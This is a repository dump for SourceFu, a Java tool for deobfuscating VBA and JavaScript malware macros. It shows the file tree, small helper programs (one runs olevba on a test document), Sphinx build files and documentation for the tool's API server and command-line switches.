├── .gitignore ├── LICENSE ├── README.md ├── dev_only ├── oletools_subproc │ └── Main.java └── similarity │ └── Main.java ├── docs ├── LICENSE ├── Makefile ├── build │ ├── doctrees │ │ ├── API server.doctree │ │ ├── Some\ state\ of\ the\ art.doctree │ │ ├── Web Interface.doctree │ │ ├── command line interface.doctree │ │ ├── contributing guide.doctree │ │ ├── development guide.doctree │ │ ├── environment.pickle │ │ ├── examples.doctree │ │ ├── functioning.doctree │ │ ├── functioning_dev.doctree │ │ ├── functionning.doctree │ │ ├── index.doctree │ │ ├── installation.doctree │ │ ├── introduction.doctree │ │ ├── modules.doctree │ │ ├── performance_considerations.doctree │ │ ├── planned features.doctree │ │ ├── quickstart.doctree │ │ ├── releases.doctree │ │ ├── some state of the art.doctree │ │ ├── user manual.doctree │ │ ├── using.doctree │ │ └── web interface.doctree │ └── html │ │ ├── .buildinfo │ │ ├── .nojekyll │ │ ├── API server.html │ │ ├── Web Interface.html │ │ ├── _images │ │ ├── ast1.png │ │ ├── ast2.png │ │ ├── cuckoo.png │ │ ├── rage.jpg │ │ ├── sourcefu_exemple.gif │ │ ├── sourcefu_java_vs_python.png │ │ ├── sourcefu_java_vs_python2.png │ │ ├── webserver-1.png │ │ ├── webserver-2.png │ │ ├── webserver-3.png │ │ └── webserver-4.png │ │ ├── _sources │ │ ├── API server.rst.txt │ │ ├── Web Interface.rst.txt │ │ ├── command line interface.rst.txt │ │ ├── contributing guide.rst.txt │ │ ├── development guide.rst.txt │ │ ├── functioning.rst.txt │ │ ├── index.rst.txt │ │ ├── installation.rst.txt │ │ ├── introduction.rst.txt │ │ ├── planned features.rst.txt │ │ ├── quickstart.rst.txt │ │ ├── releases.rst.txt │ │ ├── some state of the art.rst.txt │ │ ├── user manual.rst.txt │ │ └── web interface.rst.txt │ │ ├── _static │ │ ├── SourceFu.png │ │ ├── ajax-loader.gif │ │ ├── alabaster.css │ │ ├── basic.css │ │ ├── comment-bright.png │ │ ├── comment-close.png │ │ ├── comment.png │ │ ├── css │ │ │ ├── badge_only.css │ │ │ └── theme.css │ │ ├── custom.css │ │ ├── doctools.js │ │ ├── documentation_options.js │ │ ├── down-pressed.png │ │ ├── down.png │ │ ├── file.png │ │ ├── fonts │ │ │ ├── Inconsolata-Bold.ttf │ │ │ ├── Inconsolata-Regular.ttf │ │ │ ├── Inconsolata.ttf │ │ │ ├── Lato-Bold.ttf │ │ │ ├── Lato-Regular.ttf │ │ │ ├── Lato │ │ │ │ ├── lato-bold.eot │ │ │ │ ├── lato-bold.ttf │ │ │ │ ├── lato-bold.woff │ │ │ │ ├── lato-bold.woff2 │ │ │ │ ├── lato-bolditalic.eot │ │ │ │ ├── lato-bolditalic.ttf │ │ │ │ ├── lato-bolditalic.woff │ │ │ │ ├── lato-bolditalic.woff2 │ │ │ │ ├── lato-italic.eot │ │ │ │ ├── lato-italic.ttf │ │ │ │ ├── lato-italic.woff │ │ │ │ ├── lato-italic.woff2 │ │ │ │ ├── lato-regular.eot │ │ │ │ ├── lato-regular.ttf │ │ │ │ ├── lato-regular.woff │ │ │ │ └── lato-regular.woff2 │ │ │ ├── RobotoSlab-Bold.ttf │ │ │ ├── RobotoSlab-Regular.ttf │ │ │ ├── RobotoSlab │ │ │ │ ├── roboto-slab-v7-bold.eot │ │ │ │ ├── roboto-slab-v7-bold.ttf │ │ │ │ ├── roboto-slab-v7-bold.woff │ │ │ │ ├── roboto-slab-v7-bold.woff2 │ │ │ │ ├── roboto-slab-v7-regular.eot │ │ │ │ ├── roboto-slab-v7-regular.ttf │ │ │ │ ├── roboto-slab-v7-regular.woff │ │ │ │ └── roboto-slab-v7-regular.woff2 │ │ │ ├── fontawesome-webfont.eot │ │ │ ├── fontawesome-webfont.svg │ │ │ ├── fontawesome-webfont.ttf │ │ │ ├── fontawesome-webfont.woff │ │ │ └── fontawesome-webfont.woff2 │ │ ├── jquery-3.1.0.js │ │ ├── jquery-3.2.1.js │ │ ├── jquery.js │ │ ├── js │ │ │ ├── modernizr.min.js │ │ │ └── theme.js │ │ ├── language_data.js │ │ ├── minus.png │ │ ├── plus.png │ │ ├── pygments.css │ │ ├── searchtools.js │ │ ├── underscore-1.3.1.js │ │ ├── underscore.js │ │ ├── up-pressed.png │ │ ├── up.png │ │ └── websupport.js │ │ ├── command line interface.html │ │ ├── contributing guide.html │ │ ├── development guide.html │ │ ├── functioning.html │ │ ├── genindex.html │ │ ├── index.html │ │ ├── installation.html │ │ ├── introduction.html │ │ ├── objects.inv │ │ ├── planned features.html │ │ ├── quickstart.html │ │ ├── releases.html │ │ ├── search.html │ │ ├── searchindex.js │ │ ├── some state of the art.html │ │ ├── user manual.html │ │ └── web interface.html └── source │ ├── API server.rst │ ├── command line interface.rst │ ├── conf.py │ ├── contributing guide.rst │ ├── development guide.rst │ ├── functioning.rst │ ├── imgs │ ├── SourceFu.png │ ├── ast1.png │ ├── ast2.png │ ├── cuckoo.png │ ├── rage.jpg │ ├── sourcefu_exemple.gif │ ├── sourcefu_java_vs_python.png │ ├── sourcefu_java_vs_python2.png │ ├── webserver-1.png │ ├── webserver-2.png │ ├── webserver-3.png │ └── webserver-4.png │ ├── index.rst │ ├── installation.rst │ ├── introduction.rst │ ├── planned features.rst │ ├── quickstart.rst │ ├── releases.rst │ ├── some state of the art.rst │ ├── user manual.rst │ └── web interface.rst ├── grammars ├── JavaScript │ ├── g4 │ │ ├── JavaScriptLexer.g4 │ │ └── JavaScriptParser.g4 │ └── superclass │ │ ├── JavaScriptBaseLexer.java │ │ └── JavaScriptBaseParser.java ├── Powershell │ ├── 1 │ ├── Powershell.g4 │ ├── Powershell.g4.bak │ ├── Powershell.interp │ ├── Powershell.tokens │ ├── Powershell2.g4 │ ├── PowershellBaseListener.java │ ├── PowershellLexer.interp │ ├── PowershellLexer.java │ ├── PowershellLexer.tokens │ ├── PowershellListener.java │ ├── PowershellParser.java │ ├── gg │ ├── see.txt.error │ ├── test.g4 │ ├── test.ps1 │ ├── test │ │ ├── Powershell2.g4 │ │ ├── Powershell2.interp │ │ ├── Powershell2.tokens │ │ ├── Powershell2BaseListener.java │ │ ├── Powershell2Lexer.interp │ │ ├── Powershell2Lexer.java │ │ ├── Powershell2Lexer.tokens │ │ ├── Powershell2Listener.java │ │ └── Powershell2Parser.java │ ├── test2.ps1 │ └── test3.ps1 └── VBA │ ├── antlr_output │ ├── VBALexer.java │ ├── VBALexer.tokens │ ├── VBAParser.java │ ├── VBAParser.tokens │ ├── VBAParserBaseListener.java │ ├── VBAParserBaseVisitor.java │ ├── VBAParserListener.java │ └── VBAParserVisitor.java │ └── g4 │ ├── VBALexer.g4 │ └── VBAParser.g4 ├── sourcefu ├── .classpath ├── .gitignore ├── .project ├── .settings │ ├── org.eclipse.buildship.core.prefs │ └── org.eclipse.jdt.core.prefs ├── build.gradle ├── gradle │ └── wrapper │ │ ├── gradle-wrapper.jar │ │ └── gradle-wrapper.properties ├── gradlew ├── gradlew.bat ├── settings.gradle └── src │ └── main │ ├── java │ ├── SourceFu.java │ ├── deobfuscation │ │ └── see.java │ ├── sourcefu │ │ ├── JS │ │ │ ├── JSBeautifier.java │ │ │ ├── JSBeautifierUtils.java │ │ │ ├── JSBeautifyRewriteOperation.java │ │ │ ├── JSBeautifyRewriterController.java │ │ │ ├── JSCommentsDeleter.java │ │ │ ├── JSDeadStore.java │ │ │ ├── JSMain.java │ │ │ ├── JSRenamer.java │ │ │ ├── antlr │ │ │ │ ├── JavaScriptBaseLexer.java │ │ │ │ ├── JavaScriptBaseParser.java │ │ │ │ ├── JavaScriptLexer.interp │ │ │ │ ├── JavaScriptLexer.java │ │ │ │ ├── JavaScriptLexer.tokens │ │ │ │ ├── JavaScriptParser.interp │ │ │ │ ├── JavaScriptParser.java │ │ │ │ ├── JavaScriptParser.tokens │ │ │ │ ├── JavaScriptParserBaseListener.java │ │ │ │ └── JavaScriptParserListener.java │ │ │ └── helpers │ │ │ │ ├── JSAPIUtils.java │ │ │ │ ├── Scope.java │ │ │ │ ├── Symbol.java │ │ │ │ └── VariableSymbol.java │ │ ├── VBA │ │ │ ├── VBABeautifier.java │ │ │ ├── VBACommentsDeleter.java │ │ │ ├── VBAConstantFolding.java │ │ │ ├── VBAConstantsModifier.java │ │ │ ├── VBADeadStore.java │ │ │ ├── VBAEmptyBlockRemover.java │ │ │ ├── VBAIFStmtSimplifier.java │ │ │ ├── VBAMain.java │ │ │ ├── VBAPartialEvaluator.java │ │ │ ├── VBARenamer.java │ │ │ ├── VBAVisitorTest.java │ │ │ ├── antlr │ │ │ │ ├── VBALexer.interp │ │ │ │ ├── VBALexer.java │ │ │ │ ├── VBALexer.tokens │ │ │ │ ├── VBAParser.interp │ │ │ │ ├── VBAParser.java │ │ │ │ ├── VBAParser.tokens │ │ │ │ ├── VBAParserBaseListener.java │ │ │ │ ├── VBAParserBaseVisitor.java │ │ │ │ ├── VBAParserListener.java │ │ │ │ └── VBAParserVisitor.java │ │ │ ├── fullinterpreter │ │ │ │ ├── Compiler.java │ │ │ │ ├── ModuleDecl.java │ │ │ │ └── Visibility.java │ │ │ ├── helpers │ │ │ │ ├── BaseScope.java │ │ │ │ ├── ConstantFoldingBaseScope.java │ │ │ │ ├── ConstantFoldingFunction.java │ │ │ │ ├── DeadStoreBaseScope.java │ │ │ │ ├── DeadStoreFunction.java │ │ │ │ ├── DeadStoreStatement.java │ │ │ │ ├── FunctionSymbol.java │ │ │ │ ├── GlobalScope.java │ │ │ │ ├── KnownSymbols.java │ │ │ │ ├── LocalScope.java │ │ │ │ ├── Scope.java │ │ │ │ ├── Symbol.java │ │ │ │ ├── VBAAPIUtils.java │ │ │ │ └── VariableSymbol.java │ │ │ └── partialevaluator │ │ │ │ ├── RewriteOperation.java │ │ │ │ ├── VBACommonFunctionsEvaluator.java │ │ │ │ └── VBAExprEvaluator.java │ │ ├── apiserver │ │ │ ├── APIServer.java │ │ │ └── APIServerUtils.java │ │ ├── database │ │ │ ├── Analysis.java │ │ │ ├── AnalysisController.java │ │ │ ├── DatabaseHelper.java │ │ │ └── Step.java │ │ ├── helpers │ │ │ ├── ArithmeticHelper.java │ │ │ ├── CallGraph.java │ │ │ ├── FunctionSymbol.java │ │ │ └── Undefined.java │ │ ├── lib │ │ │ ├── CtxValue.java │ │ │ ├── Infos.java │ │ │ ├── Logo.java │ │ │ ├── Printing.java │ │ │ ├── ProxyParseTreeListener.java │ │ │ └── UnEscape.java │ │ └── webserver │ │ │ ├── WebServer.java │ │ │ └── WebUtils.java │ └── threatintell │ │ └── IOCSearch │ │ └── IOCSearchVBA.java │ └── resources │ ├── public │ ├── functions.js │ ├── hehe_fichiers │ │ ├── codemirror.css │ │ ├── codemirror.js │ │ ├── diff_match_patch.js │ │ ├── docs.css │ │ ├── merge.css │ │ ├── merge.js │ │ └── xml.js │ ├── js │ │ ├── codemirror.css │ │ ├── codemirror.js │ │ ├── javascript.js │ │ ├── merge.css │ │ ├── merge.js │ │ ├── prism.css │ │ ├── prism.js │ │ ├── vb.js │ │ └── xml.js │ ├── material.css │ └── test_css.css │ └── templates │ ├── editanalysis.vm │ ├── header.vm │ ├── hehe.vm │ ├── hehe_fichiers │ ├── codemirror.css │ ├── codemirror.js │ ├── diff_match_patch.js │ ├── docs.css │ ├── merge.css │ ├── merge.js │ └── xml.js │ ├── home.vm │ ├── newanalysis.vm │ └── workanalysis.vm └── tests ├── README.md └── VBA ├── malwares └── 9792c0cd069e84edc8b01cf3f82fd214.doc │ ├── #code.vba# │ └── code.vba └── obfuscators ├── JO-Obfuscator ├── code.vba ├── expected.vba └── sourcefu_example.docm ├── bonnetn-vba-obfuscator ├── notes.txt ├── obfuscated.vba └── original.vba └── isvbscriptdeaddotcom ├── example1.vba └── example1_obfuscated.vba /.gitignore: -------------------------------------------------------------------------------- 1 | **/*.pyc 2 | **/*~ 3 | **/*.class 4 | sourcefu/bin/**/* 5 | sourcefu/build/**/* 6 | sourcefu/.gradle/**/* -------------------------------------------------------------------------------- /dev_only/oletools_subproc/Main.java: -------------------------------------------------------------------------------- 1 | package testoletools; 2 | 3 | import java.io.BufferedReader; 4 | import java.io.IOException; 5 | import java.io.InputStreamReader; 6 | import java.util.ArrayList; 7 | import java.util.List; 8 | 9 | public class Main { 10 | 11 | public static void main(String args[]) { 12 | 13 | String s = null; 14 | List output = new ArrayList(); 15 | 16 | try { 17 | Process p = Runtime.getRuntime().exec("olevba -c /home/nico/SourceFu/tests/VBA/obfuscators/JO-Obfuscator/sourcefu_example.docm"); 18 | int exitval = p.waitFor(); 19 | if(exitval !=0) { 20 | System.out.println("fail running process"); 21 | System.exit(2); 22 | } 23 | BufferedReader stdInput = new BufferedReader(new 24 | InputStreamReader(p.getInputStream())); 25 | 26 | BufferedReader stdError = new BufferedReader(new 27 | InputStreamReader(p.getErrorStream())); 28 | 29 | // read the output from the command 30 | //System.out.println("Here is the standard output of the command:\n"); 31 | while ((s = stdInput.readLine()) != null) { 32 | //System.out.println(s); 33 | output.add(s); 34 | } 35 | 36 | // read any errors from the attempted command 37 | System.out.println("Here is the standard error of the command (if any):\n"); 38 | while ((s = stdError.readLine()) != null) { 39 | System.out.println(s); 40 | } 41 | 42 | } 43 | catch (IOException | InterruptedException e) { 44 | System.out.println("exception happened - here's what I know: "); 45 | e.printStackTrace(); 46 | System.exit(-1); 47 | } 48 | 49 | for (int i=0;i<5;i++) { 50 | output.remove(0); 51 | } 52 | 53 | List toRemove = new ArrayList(); 54 | for(String str:output) { 55 | if(str.startsWith("VBA MACRO")) { 56 | toRemove.add(str); 57 | } 58 | if(str.startsWith("in file:")) { 59 | toRemove.add(str); 60 | } 61 | if(str.startsWith("(empty macro)")) { 62 | toRemove.add(str); 63 | } 64 | if(str.startsWith("------------------------------------------------")) { 65 | toRemove.add(str); 66 | } 67 | if(str.startsWith("- - - - - - - - - - - - - - - - - - - - - - - - ")) { 68 | toRemove.add(str); 69 | } 70 | } 71 | 72 | output.removeAll(toRemove); 73 | 74 | System.out.println(String.join(System.getProperty("line.separator"),output)); 75 | 76 | 77 | } 78 | 79 | } 80 | -------------------------------------------------------------------------------- /dev_only/similarity/Main.java: -------------------------------------------------------------------------------- 1 | package similarity; 2 | 3 | import java.io.IOException; 4 | import com.github.gumtreediff.client.Run; 5 | import com.github.gumtreediff.gen.Generators; 6 | import com.github.gumtreediff.matchers.MappingStore; 7 | import com.github.gumtreediff.matchers.Matcher; 8 | import com.github.gumtreediff.matchers.Matchers; 9 | import com.github.gumtreediff.matchers.SimilarityMetrics; 10 | import com.github.gumtreediff.tree.ITree; 11 | 12 | public class Main { 13 | 14 | public static void main (String[] args){ 15 | Run.initGenerators(); 16 | String file1 = "file_v0.java"; 17 | String file2 = "file_v1.java"; 18 | ITree src = null; 19 | try { 20 | src = Generators.getInstance().getTree(file1).getRoot(); 21 | } catch (UnsupportedOperationException e) { 22 | // TODO Auto-generated catch block 23 | e.printStackTrace(); 24 | } catch (IOException e) { 25 | // TODO Auto-generated catch block 26 | e.printStackTrace(); 27 | } 28 | ITree dst = null; 29 | try { 30 | dst = Generators.getInstance().getTree(file2).getRoot(); 31 | } catch (UnsupportedOperationException e) { 32 | // TODO Auto-generated catch block 33 | e.printStackTrace(); 34 | } catch (IOException e) { 35 | // TODO Auto-generated catch block 36 | e.printStackTrace(); 37 | } 38 | Matcher m = Matchers.getInstance().getMatcher(); // retrieve the default matcher 39 | MappingStore map = m.match(src,dst); 40 | System.out.println("chawatche similarity: " + String.valueOf(SimilarityMetrics.chawatheSimilarity(src, dst, map))); 41 | System.out.println("dice similarity: " + String.valueOf(SimilarityMetrics.diceSimilarity(src, dst, map))); 42 | System.out.println("jaccard similarity: " + String.valueOf(SimilarityMetrics.jaccardSimilarity(src, dst, map))); 43 | System.out.println("overlap similarity: " + String.valueOf(SimilarityMetrics.overlapSimilarity(src, dst, map))); 44 | 45 | } 46 | 47 | } -------------------------------------------------------------------------------- /docs/Makefile: -------------------------------------------------------------------------------- 1 | # Minimal makefile for Sphinx documentation 2 | # 3 | 4 | # You can set these variables from the command line. 5 | SPHINXOPTS = 6 | SPHINXBUILD = python -msphinx 7 | SPHINXPROJ = SourceFu 8 | SOURCEDIR = source 9 | BUILDDIR = build 10 | 11 | # Put it first so that "make" without argument is like "make help". 12 | help: 13 | @$(SPHINXBUILD) -M help "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O) 14 | 15 | .PHONY: help Makefile 16 | 17 | # Catch-all target: route all unknown targets to Sphinx using the new 18 | # "make mode" option. $(O) is meant as a shortcut for $(SPHINXOPTS). 19 | %: Makefile 20 | @$(SPHINXBUILD) -M $@ "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O) -------------------------------------------------------------------------------- /docs/build/doctrees/API server.doctree: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/doctrees/API server.doctree -------------------------------------------------------------------------------- /docs/build/doctrees/Some\ state\ of\ the\ art.doctree: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/doctrees/Some\ state\ of\ the\ art.doctree -------------------------------------------------------------------------------- /docs/build/doctrees/Web Interface.doctree: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/doctrees/Web Interface.doctree -------------------------------------------------------------------------------- /docs/build/doctrees/command line interface.doctree: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/doctrees/command line interface.doctree -------------------------------------------------------------------------------- /docs/build/doctrees/contributing guide.doctree: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/doctrees/contributing guide.doctree -------------------------------------------------------------------------------- /docs/build/doctrees/development guide.doctree: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/doctrees/development guide.doctree -------------------------------------------------------------------------------- /docs/build/doctrees/environment.pickle: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/doctrees/environment.pickle -------------------------------------------------------------------------------- /docs/build/doctrees/examples.doctree: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/doctrees/examples.doctree -------------------------------------------------------------------------------- /docs/build/doctrees/functioning.doctree: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/doctrees/functioning.doctree -------------------------------------------------------------------------------- /docs/build/doctrees/functioning_dev.doctree: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/doctrees/functioning_dev.doctree -------------------------------------------------------------------------------- /docs/build/doctrees/functionning.doctree: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/doctrees/functionning.doctree -------------------------------------------------------------------------------- /docs/build/doctrees/index.doctree: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/doctrees/index.doctree -------------------------------------------------------------------------------- /docs/build/doctrees/installation.doctree: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/doctrees/installation.doctree -------------------------------------------------------------------------------- /docs/build/doctrees/introduction.doctree: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/doctrees/introduction.doctree -------------------------------------------------------------------------------- /docs/build/doctrees/modules.doctree: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/doctrees/modules.doctree -------------------------------------------------------------------------------- /docs/build/doctrees/performance_considerations.doctree: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/doctrees/performance_considerations.doctree -------------------------------------------------------------------------------- /docs/build/doctrees/planned features.doctree: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/doctrees/planned features.doctree -------------------------------------------------------------------------------- /docs/build/doctrees/quickstart.doctree: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/doctrees/quickstart.doctree -------------------------------------------------------------------------------- /docs/build/doctrees/releases.doctree: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/doctrees/releases.doctree -------------------------------------------------------------------------------- /docs/build/doctrees/some state of the art.doctree: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/doctrees/some state of the art.doctree -------------------------------------------------------------------------------- /docs/build/doctrees/user manual.doctree: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/doctrees/user manual.doctree -------------------------------------------------------------------------------- /docs/build/doctrees/using.doctree: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/doctrees/using.doctree -------------------------------------------------------------------------------- /docs/build/doctrees/web interface.doctree: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/doctrees/web interface.doctree -------------------------------------------------------------------------------- /docs/build/html/.buildinfo: -------------------------------------------------------------------------------- 1 | # Sphinx build info version 1 2 | # This file hashes the configuration used when building these files. When it is not found, a full rebuild will be done. 3 | config: 082720ebfaef8b4dbfc4d4ef77dc68d8 4 | tags: 645f666f9bcd5a90fca523b33c5a78b7 5 | -------------------------------------------------------------------------------- /docs/build/html/.nojekyll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/.nojekyll -------------------------------------------------------------------------------- /docs/build/html/_images/ast1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_images/ast1.png -------------------------------------------------------------------------------- /docs/build/html/_images/ast2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_images/ast2.png -------------------------------------------------------------------------------- /docs/build/html/_images/cuckoo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_images/cuckoo.png -------------------------------------------------------------------------------- /docs/build/html/_images/rage.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_images/rage.jpg -------------------------------------------------------------------------------- /docs/build/html/_images/sourcefu_exemple.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_images/sourcefu_exemple.gif -------------------------------------------------------------------------------- /docs/build/html/_images/sourcefu_java_vs_python.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_images/sourcefu_java_vs_python.png -------------------------------------------------------------------------------- /docs/build/html/_images/sourcefu_java_vs_python2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_images/sourcefu_java_vs_python2.png -------------------------------------------------------------------------------- /docs/build/html/_images/webserver-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_images/webserver-1.png -------------------------------------------------------------------------------- /docs/build/html/_images/webserver-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_images/webserver-2.png -------------------------------------------------------------------------------- /docs/build/html/_images/webserver-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_images/webserver-3.png -------------------------------------------------------------------------------- /docs/build/html/_images/webserver-4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/docs/build/html/_images/webserver-4.png -------------------------------------------------------------------------------- /docs/build/html/_sources/API server.rst.txt: -------------------------------------------------------------------------------- 1 | API server 2 | ********** 3 | 4 | Here is the documentation for the current API of SourceFu: 5 | 6 | - creating a new analysis in SourceFu 7 | 8 | .. code-block:: none 9 | 10 | POST /api/analysis/newAnalysis 11 | Content-Type : multipart/form-data 12 | 13 | the following parameters are requested : 14 | 15 | - *analysisname* : the name of the analysis to create 16 | - *analysislanguage* : the language of the sample to analyze, current values that are legual are Javascript, VBA and *Try to auto-determine* 17 | - *analysisfile* : the current file to analyze 18 | 19 | 20 | - creating a new step for one analysis 21 | 22 | .. code-block:: none 23 | 24 | POST /api/analysis/createNewStep 25 | Content-Type : multipart/form-data 26 | 27 | the following parameters are requested : 28 | 29 | - *name* : the name of the step to create 30 | - *code* : the step code to set (basically, some code with modifications 31 | - *analysisID* : the analysis ID, used to select to which analysis this step will belong to 32 | 33 | 34 | - get a step from an analysis 35 | 36 | .. code-block:: none 37 | 38 | GET /api/AnalysisStep/:analysisId/:stepId 39 | 40 | analysisId is the ID of the analysis to gather step from, and step Id is the step to gather by Id 41 | 42 | - delete an analysis 43 | 44 | .. code-block:: none 45 | 46 | GET /api/delAnalysis/:analysisId 47 | 48 | analysisId is the ID of the analysis to delete 49 | 50 | 51 | - launch a new operation on a code : 52 | 53 | .. code-block:: none 54 | 55 | POST /api/analysis/createNewStepactions/newOperation 56 | Content-Type : multipart/form-data 57 | 58 | the following parameters are requested : 59 | 60 | - *code* : the code to do an operation on it 61 | - *setnewstep* : should we automatically define the result of the operation as a new analysis step? 62 | - *analysisID* : the analysis ID, used to select to which analysis this new operation will belong to 63 | - *operation* : the operation to do on the code. Possible values for VBA are : *delete comments*, *rename variables (based on scope)*, *dead code elimination*, *beautify*, *expressions evaluation*, *cfg simplifications*, *full analysis*, *empty block removal*. For Javascript, operations may be *delete comments*, *rename variables (based on scope)*. To know what each operation does, please refer to the following :doc:`page` 64 | 65 | 66 | 67 | -------------------------------------------------------------------------------- /docs/build/html/_sources/Web Interface.rst.txt: -------------------------------------------------------------------------------- 1 | Web interface 2 | ************* 3 | 4 | *to be done* 5 | -------------------------------------------------------------------------------- /docs/build/html/_sources/command line interface.rst.txt: -------------------------------------------------------------------------------- 1 | Command line interface 2 | ********************** 3 | 4 | The command line interface of SourceFu is basically a way to realize one deobfuscation operation on a file, to finally get an output. You can invoke multiple operations at the same time but you don't control the order they are invoked, because they follow the general algorithm presented [there](). If you want to chain deobfuscation operations, you need for now to output each operation in a file, and use this temporary file as an input for a subsequent operation. 5 | 6 | The command line is basically the following: 7 | 8 | .. code-block:: none 9 | 10 | $ java -jar sourcefu.jar [] 11 | 12 | the output file is not mandatory. The result of the operation is indeed somewhat printed to the stdout. However, if you need to save the output of the tool, please use this option. 13 | 14 | In the arguments relative to deobfuscation operations, each switch permits to invoke the underlying deobfuscation operation. If no deobfuscation operation switch is passed, then SourceFu makes a full analysis invoking all operations. If at least one swith is selected, then only the selected switches will be invoked. 15 | 16 | Here is the full list of switches: 17 | 18 | - -B, --beautify perform a beautify operation 19 | - -C, --comments perform a comments deletion operation 20 | - -D, --deadstore perform a deadstore operation 21 | - -E, --empty perform a "empty block deletion" operation 22 | - -K, --constantsmodify perform the transformation of internal language variables 23 | - -R, --rename perform a rename operation 24 | - -V, --partialeval perform the transformation of internal language variables 25 | 26 | When using the contracted arguments, you can pass them as a single argument. Passing ``--BCE`` will for example remove the comments, then remove empty *blocks* in the code, and finally, a beautifying operation is launched. 27 | 28 | The final option is the ``-t, --source-type=`` argument. It's a way to indicate what is the language of the analyzed sample. Indeed, no tool is capable of detecting easily if a sample is from one language or another. SourceFu does so by trying a parsing operation in strict mode, allowing to detect errors. However, parsing is not so simple, and for example, parsing may be the result of errors fallback... If the language of your sample is not detected automatically, then you should use this option to force it. The available possibilites for the input type are *JS* and *VBA*. 29 | 30 | -------------------------------------------------------------------------------- /docs/build/html/_sources/contributing guide.rst.txt: -------------------------------------------------------------------------------- 1 | How to contribute 2 | ***************** 3 | 4 | TBD 5 | -------------------------------------------------------------------------------- /docs/build/html/_sources/development guide.rst.txt: -------------------------------------------------------------------------------- 1 | Development guide 2 | ***************** 3 | 4 | repository organization 5 | code 